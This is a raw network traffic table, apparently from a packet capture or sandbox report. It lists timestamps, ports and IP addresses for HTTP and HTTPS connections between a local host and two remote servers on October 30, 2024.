Oct 30, 2024 11:46:49.484430075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484457016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484469891 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.484471083 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484505892 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.484636068 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484678030 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.484719038 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484745979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484759092 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.484771967 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.484786034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.484800100 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485100031 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485129118 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485141993 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485146046 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485163927 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485168934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485181093 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485203981 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485213995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485260010 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485739946 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485753059 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485771894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485785007 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.485789061 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485804081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.485824108 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.525544882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.525563002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.525576115 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.525643110 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.525671005 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.556974888 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.556993008 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557013035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557024002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557037115 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557035923 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557066917 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557095051 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557111979 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557132006 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557149887 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557152033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557183981 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557195902 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557421923 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557466030 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557468891 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557477951 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557507038 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557521105 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557701111 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557744026 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557749033 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557775021 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557787895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.557792902 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557832003 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.557832003 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.558199883 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.558223009 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.558239937 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.558269978 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.599898100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.599952936 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.599986076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600003958 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600033045 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600131035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600191116 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600199938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600215912 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600230932 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600246906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600248098 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600261927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600266933 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600280046 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600296974 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600302935 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600322008 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600347996 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600816965 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600828886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600836039 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600847006 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.600879908 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.600904942 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.601242065 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.601260900 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.601274967 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.601289034 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.601289988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.601300001 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.601303101 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.601334095 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.601349115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.602967978 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:49.603038073 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:49.604265928 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:49.604281902 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:49.604526043 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:49.605710983 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:49.605849981 CET	58195	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:46:49.605886936 CET	443	58195	188.114.96.3	192.168.2.7
Oct 30, 2024 11:46:49.641072035 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.641091108 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.641103983 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.641222000 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672472000 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672563076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672612906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672630072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672630072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672648907 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672672033 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672683954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672698975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672719002 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672729969 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672754049 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672768116 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672791004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672801971 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672841072 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672862053 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672873020 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672883034 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.672907114 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.672947884 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.673082113 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.673147917 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.673151016 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.673191071 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.673196077 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.673233986 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.673252106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.673265934 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.673276901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.673300982 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.673325062 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715101004 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715117931 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715130091 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715205908 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715246916 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715368032 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715382099 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715394974 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715413094 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715432882 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715455055 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715480089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715491056 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715501070 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715524912 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715538025 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715780020 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715791941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715801954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.715831995 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.715842962 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.716015100 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716062069 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716062069 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.716074944 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716088057 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716109991 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.716150999 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.716511965 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716523886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716536045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716548920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.716564894 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.716576099 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.716609001 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.756510973 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.756531954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.756546021 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.756558895 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.756572008 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.756572008 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.756594896 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.756633043 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.787883043 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.787899017 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.787964106 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.787985086 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.787997961 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788009882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788021088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788021088 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788022995 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788034916 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788043022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788053036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788062096 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788089037 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788302898 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788341999 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788352013 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788361073 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788372040 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788382053 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788402081 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788422108 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788654089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788666964 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788676977 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788707972 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788732052 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788893938 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788906097 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788917065 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.788945913 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.788969040 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831037045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831082106 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831101894 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831140041 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831156015 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831165075 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831168890 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831181049 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831193924 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831207037 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831211090 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831231117 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831249952 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831443071 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831495047 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831531048 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831561089 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831578970 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831602097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831721067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831768036 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831768990 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831780910 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831809044 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831841946 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831857920 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831870079 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831883907 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831897020 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831907988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831908941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.831938982 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.831959009 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.872015953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.872031927 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.872047901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.872061014 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.872073889 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.872087955 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.872131109 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903441906 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903461933 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903476954 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903489113 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903501034 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903510094 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903527975 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903600931 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903608084 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903650045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903660059 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903661013 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903692961 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903697014 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903707027 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.903712034 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903737068 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.903753042 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904198885 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904237986 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904247999 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904256105 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904287100 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904304981 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904510975 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904541969 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904552937 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904560089 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904581070 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904601097 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904603958 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904616117 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.904648066 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.904661894 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946160078 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946186066 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946198940 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946269989 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946289062 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946299076 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946346045 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946350098 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946398973 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946403980 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946415901 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946429014 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946444988 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946468115 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946769953 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946806908 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946814060 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946819067 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.946850061 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.946861029 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947046041 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947096109 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947118044 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947130919 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947141886 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947155952 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947184086 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947495937 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947539091 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947554111 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947566032 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947598934 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947603941 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947617054 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.947619915 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947644949 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.947664022 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.987377882 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.987415075 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.987427950 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.987432957 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.987440109 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.987452984 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.987457991 CET	58193	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:46:49.987463951 CET	80	58193	185.215.113.16	192.168.2.7
Oct 30, 2024 11:46:49.987473965 CET	58193	80	192.168.2.7	185.215.113.16
